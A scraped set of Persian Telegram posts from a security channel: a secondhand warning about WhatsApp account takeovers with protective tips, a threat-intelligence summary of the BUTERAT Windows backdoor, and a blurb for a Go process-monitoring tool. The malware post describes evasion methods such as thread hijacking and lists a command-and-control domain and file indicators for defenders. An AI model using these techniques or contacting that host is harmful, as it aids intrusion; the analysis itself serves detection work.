دوستان در این اواخر تماس‌های از دوستان و آشنایان داشتم که میگفتن واتس‌اپ اونا هک شده و در دست فرد دیگری هست . دو روز پیش خواستم مطلب بزنم گفتم شاید اشتباه از خودشون بوده و موضوع چیز دیگری است و بیخیال شدم تا اینکه الان یکی از کانال‌های تلگرامی زده به نقل از منبع خبری گاردین که گفته مدیر امنیت واتس‌اپ اخراج شده چون گفته که حدود ۱,۵۰۰ مهندس واتس‌اپ دسترسی کامل (یا تقریباً کامل، بدون نظارت کافی) به داده‌های کاربران داشته‌اند، شامل اطلاعات شخصی مثل عکس پروفایل، آدرس آی‌پی، اطلاعات تماس و... همچنین ادعا شده روزانه بیش از ۱۰۰,۰۰۰ حساب کاربری دچار هک یا تسخیر (account takeover) شده‌اند. و این نگرانی‌ها را به مدیران عالی واتس‌اپ و متا از جمله مارک زاکربرگ گزارش داده، ولی پاسخی جدی داده نشده، و در نهایت به دلیل همین گزارش‌ها تحت فشار قرار گرفته، امتیازاتش کاهش یافته و سپس اخراج شده است.

عموما شماره‌هایی که واتس‌اپ نداشته‌اند تصاحب شده و اکانت واتس‌اپ براشون فعال شده و چه استفاده‌ای میشه خدا میدونه .
حالا از ما گفتن و از شما نشنیدن 😊 برای اینکه فردا داستان نشه به هر شکلی براتون یه راه ساده اینه برای خودتون و خانواده و .. مثلا اگر به دلایلی چند شماره سیم‌کارت دارید ( مثلا کاری و خانوادگی و غیره ) که واتس‌اپ روش نیست از طریق dual apps یا با واتس‌اپ بیزینس یه اکانت بسازید و دو مرحله ایش رو هم فعال کنید و حتما حتما روش جیمیل‌تون رو هم ست کنید بزارید کنار بمونه .. البته که پس گرفتن اون اکانت ساخته شده سخت نیست ولی تا بخواید خبردار بشید چی شده ‏( پیشگیری بهتر از درمان است )‏😊

@NullError_ir
#BUTERAT

بدافزار BUTERAT: بکدور پیشرفته برای حملات ماندگار

مقدمه: در دنیای تهدیدات سایبری، بدافزارها هر روز پیچیده‌تر و پنهان‌کارتر می‌شوند. یکی از نمونه‌های برجسته این نسل جدید از تهدیدات ، Backdoor.Win32.BUTERAT است. این بدافزار که توسط تیم اطلاعات تهدید Lat61 مورد تحلیل قرار گرفته، یک بکدور خطرناک است که با هدف ایجاد دسترسی پایدار و بلندمدت در شبکه‌های سازمانی و دولتی طراحی شده است. برخلاف بدافزارهایی که به‌دنبال تخریب فوری یا سرقت آنی اطلاعات هستند، BUTERAT با تمرکز بر پنهان‌کاری و ماندگاری، به مهاجمان اجازه می‌دهد تا کنترل کامل سیستم‌های آلوده را در دست گرفته، payloadهای بیشتری را تزریق کنند، اطلاعات حساس را به سرقت ببرند و در شبکه به‌صورت جانبی حرکت کنند (Lateral Movement).

آناتومی فنی و تکنیک‌های تهاجمی

۔BUTERAT مجموعه‌ای از تکنیک‌های پیشرفته را برای نفوذ، پایداری و پنهان‌سازی فعالیت‌های خود به کار می‌گیرد که آن را در سطح تهدیدات پیشرفته و مستمر (APT) قرار می‌دهد.

۱. مکانیزم پایداری

پس از اجرای اولیه، BUTERAT برای اطمینان از بقای خود حتی پس از راه‌اندازی مجدد سیستم، اقدام به دستکاری رجیستری ویندوز می‌کند. این بدافزار با ایجاد یا تغییر کلیدهای رجیستری، خود را در فرآیند Startup سیستم‌عامل قرار می‌دهد. علاوه بر این، فرآیندهای خود را تحت نام‌های سرویس‌های سیستمی و مشروع ویندوز مخفی می‌کند تا از دید ابزارهای مانیتورینگ اولیه پنهان بماند.

۲. تکنیک ربایش Thread از طریق SetThreadContext

یکی از پیچیده‌ترین و قابل‌توجه‌ترین تکنیک‌های مورد استفاده توسط BUTERAT، سوءاستفاده از تابع API ویندوز به نام SetThreadContext است. این تکنیک که به آن Thread Hijacking نیز گفته می‌شود، به بدافزار اجازه می‌دهد تا یک Thread فعال در یک فرآیند مشروع را به حالت تعلیق (Suspend) درآورد، Context (مجموعه رجیسترهای CPU) آن را با مقادیر دلخواه خود جایگزین کند و سپس اجرای Thread را از سر بگیرد.

این روش چندین مزیت استراتژیک برای مهاجم دارد:
* پنهان‌کاری فوق‌العاده: از آنجایی که هیچ فرآیند جدیدی ایجاد نمی‌شود، شناسایی آن برای ابزارهای امنیتی مبتنی بر رفتار (Behavioral-based) بسیار دشوار است.

* دور زدن مکانیزم‌های دفاعی: بسیاری از راهکارهای امنیتی، بر روی مانیتورینگ نقطه ورود (Entry Point) فرآیندها تمرکز دارند. این تکنیک، نقطه ورود را دور زده و کد مخرب را مستقیماً در حافظه یک فرآیند معتبر اجرا می‌کند.

۳. ارتباطات فرمان و کنترل

۔BUTERAT برای دریافت دستورات و ارسال اطلاعات، از کانال‌های ارتباطی رمزنگاری‌شده (Encrypted) یا مبهم‌سازی‌شده (Obfuscated) استفاده می‌کند. این امر تحلیل ترافیک شبکه و شناسایی ارتباطات مخرب را برای تیم‌های امنیتی به یک چالش جدی تبدیل می‌کند.

در تحلیل‌های صورت‌گرفته، مشخص شده است که این بدافزار با سرور C2 خود در آدرس http://ginomp3.mooo.com/ ارتباط برقرار می‌کند.

یک نسخه خاص از این بدافزار با نام Backdoor.Win32.Buterat.cxq رفتاری متفاوت از خود نشان می‌دهد؛ این نسخه بسته‌های SYN را به پورت TCP شماره 3000 ارسال می‌کند که می‌تواند به عنوان یک شناسه شناسایی در ترافیک شبکه مورد استفاده قرار گیرد.

۴. افزایش سطح دسترسی

نسخه Buterat.cxq یک آسیب‌پذیری خطرناک در سیستم قربانی ایجاد می‌کند. این بدافزار یک دایرکتوری با نام C:\process ایجاد کرده و به گروه کاربری Authenticated Users سطح دسترسی تغییر (Change Permission) می‌دهد. این پیکربندی ناامن به یک کاربر با سطح دسترسی پایین اجازه می‌دهد تا فایل‌های اجرایی خود را در این مسیر قرار داده و با سطح دسترسی بالاتر اجرا کند. این تکنیک در چارچوب MITRE ATT&CK تحت شناسه T1222: File and Directory Permissions Modification طبقه‌بندی می‌شود.

شاخص‌های آلودگی:

برای شناسایی و شکار این تهدید، تیم‌های امنیتی می‌توانند از IOCهای زیر بهره‌برداری کنند:

شاخص‌های شبکه (Network IOCs):

* دامنه C2: ginomp3.mooo.com

* ترافیک غیرعادی: هرگونه ترافیک خروجی به دامنه بالا یا ارسال بسته‌های SYN به پورت TCP 3000.

شاخص‌های مبتنی بر میزبان:

* ایجاد دایرکتوری: وجود دایرکتوری C:\process با سطح دسترسی ناامن.

* فایل‌های Dropped شده: مشاهده فایل‌های اجرایی زیر در مسیر C:\Users\Admin (یا پروفایل کاربر فعال):
* amhost.exe
* bmhost.exe
* cmhost.exe
* dmhost.exe
* lqL1gG.exe

سخن پایانی

۔ Backdoor.Win32.BUTERAT نمونه‌ای کامل از یک بدافزار مدرن، پنهان‌کار و پایدار است که با هدف نفوذ عمیق و بلندمدت به زیرساخت‌های حیاتی طراحی شده است. استفاده از تکنیک‌های پیشرفته‌ای مانند Thread Hijacking و ایجاد کانال‌های ارتباطی رمزنگاری‌شده، نشان‌دهنده سطح بالای مهارت توسعه‌دهندگان آن است

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
#Process_Monitor

ساده اما کاربردی

یک ابزار مانیتورینگ فرآیندهای سیستم مبتنی بر ترمینال (TUI) که با زبان Go نوشته شده است.

## ویژگی‌ها

* لیست زنده پروسس ها: نمایش لحظه‌ای تمام فرآیندهای سیستم به همراه روابط (Parents - children).

* جزئیات پروسس : نمایش جزئیات کامل هر فرآیند شامل منابع مصرفی (CPU و حافظه)، فایل‌های باز شده و اتصالات شبکه.

* تحلیل پروسس: مجهز به یک موتور قوانین ساده برای شناسایی فعالیت‌های مشکوک (مانند اجرا از مسیرهای نامعتبر یا باینری‌های حذف شده).

* مانیتورینگ شبکه: نمایش تمام اتصالات شبکه برای هر فرآیند به همراه IP لوکال، IP ریموت و IP عمومی اینترنت شما.

* جستجو و فیلتر آنی: قابلیت جستجوی سریع در میان تمام فرآیندها بر اساس نام، PID

* حالت فریز (Freeze): فرآیند در پنل جزئیات آن "فریز" می‌شود تا بتوانید اطلاعات را با دقت بررسی، کپی یا اسکرین‌شات تهیه کنید، در حالی که لیست فرآیندها زنده باقی می‌ماند.

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM